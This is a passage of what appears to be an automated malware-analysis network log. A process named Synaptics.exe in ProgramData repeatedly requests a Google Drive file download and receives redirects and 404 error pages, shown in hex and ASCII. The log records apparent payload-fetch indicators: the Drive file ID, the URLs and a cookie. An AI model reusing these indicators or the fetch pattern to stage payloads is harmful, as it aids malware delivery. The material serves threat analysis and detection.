31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="m_2tkRic7qgoryI8BXTS9g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	56157	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:29 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-COfQrt8YnCQz29P7eGUxUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	56160	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:29 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5LBh6Qq6uXzPLiEC9MvEHBJw13FWktY_reG2g7DC43vahOdtyL_dx7PtXHWVkAMfQC Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:30 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fEiVkCFHG-TV-XHtnlyUpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 52 4e 76 36 34 77 70 77 63 30 66 39 53 64 63 45 6d 69 55 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="7RNv64wpwc0f9SdcEmiUJA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:30 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	56159	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:29 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Vc_fy-eOKRu2rEpL_wbqNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	56161	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:30 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-LdmkYRctDq3cYEnTN58WDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	56162	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:30 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:31 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6dHpzQZEC6v7InKceuuvU8nKwb9RFL0iAtX2ZOwZ_QtCa2OeJRXIkxiCaJCE_NAjCB8ljybKk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:30 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-aOrEGPAYPVFzuS4h-1hNSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:31 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:31 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 32 73 57 4b 76 45 36 6f 5a 4d 48 75 44 59 65 66 4e 7a 63 6b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="u2sWKvE6oZMHuDYefNzckg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:31 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	56164	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:30 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:31 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:31 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qqUIaOIbQ7ZpiSLTzTx0uQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	56165	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:30 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:31 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC46PL5r3DCKPddvdNbzFyqd-9R6t9sz5NYe6cuZOzR8Cis9s4s8xn-JTlOfCgPHfeeo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:31 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Lxa_5ahNe04Ec_Z_DvFGXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:31 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:31 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 74 59 77 51 2d 64 61 63 37 4d 37 63 77 56 53 54 58 46 64 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="rtYwQ-dac7M7cwVSTXFdTQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:31 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.7	56166	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.7	56168	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:31 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	56169	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:31 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-QzgiZeW4jVx1F-UGfIQ6-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, 